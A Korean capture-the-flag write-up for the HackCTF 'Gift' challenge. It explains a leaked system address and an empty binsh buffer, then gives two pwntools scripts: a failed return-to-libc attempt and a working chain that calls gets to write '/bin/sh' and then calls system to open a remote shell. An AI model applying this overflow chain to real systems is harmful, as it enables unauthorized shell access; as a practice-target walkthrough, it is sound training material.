Wargame/HackCTF
Gift
Anatis
2021. 3. 23. 15:43
1. Mitigation
NX enabled 인거 말고는 걸려있는 것 이 없다.
2. 문제 확인
문제를 실행시켜보면 의문의 주소 두개를 보여주고 첫 번째 입력을 받으면 입력한걸 출력해주고 두 번째에 또 입력을 받는다. 저 주소의 정체가 무엇인지 확인 하자.
3. 풀이
IDA를 통해 확인해 보면 두 개의 주소는 binsh와 system의 주소이다. 주소를 알려주기 때문에 Gift인가? 그리고 두번의 입력을 받는데 두 번째 입력을 통해 오버플로우가 일어나는데 저 두 주소를 이용하여 RTL을 하면
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3018)
lib = ELF('/lib/i386-linux-gnu/libc.so.6')
e = ELF('./gift')
pr = 0x8048686
binsh = 0x8049940
p.recvuntil('0x8049940 ')
system = int(p.recv(10), 16)
p.sendline('AAAA')
payload = 'B'*136
payload += p32(system)
payload += p32(pr)
payload += p32(binsh)
p.sendline(payload)
p.interactive()
공격을 시도해보면 쉘이 따지지 않는다... 이 부분에서 왜 쉘이 안따지나 삽질을 많이 했다. binsh가 잘못됬나 싶어서 분석해보았다.
gdb로 확인해본 결과 binsh에는 아무것도 없다 그냥 빈껍데기다. 원인을 알았으니 RTL 체인을 이용하여 플래그를 따보자!!
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3018)
lib = ELF('/lib/i386-linux-gnu/libc.so.6')
e = ELF('./gift')
pr = 0x8048686
binsh = 0x8049940
p.recvuntil('0x8049940 ')
system = int(p.recv(10), 16)
p.sendline('AAAA')
payload = 'B'*136
payload += p32(e.plt['gets'])
payload += p32(pr)
payload += p32(binsh)
payload += p32(system)
payload += p32(pr)
payload += p32(binsh)
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()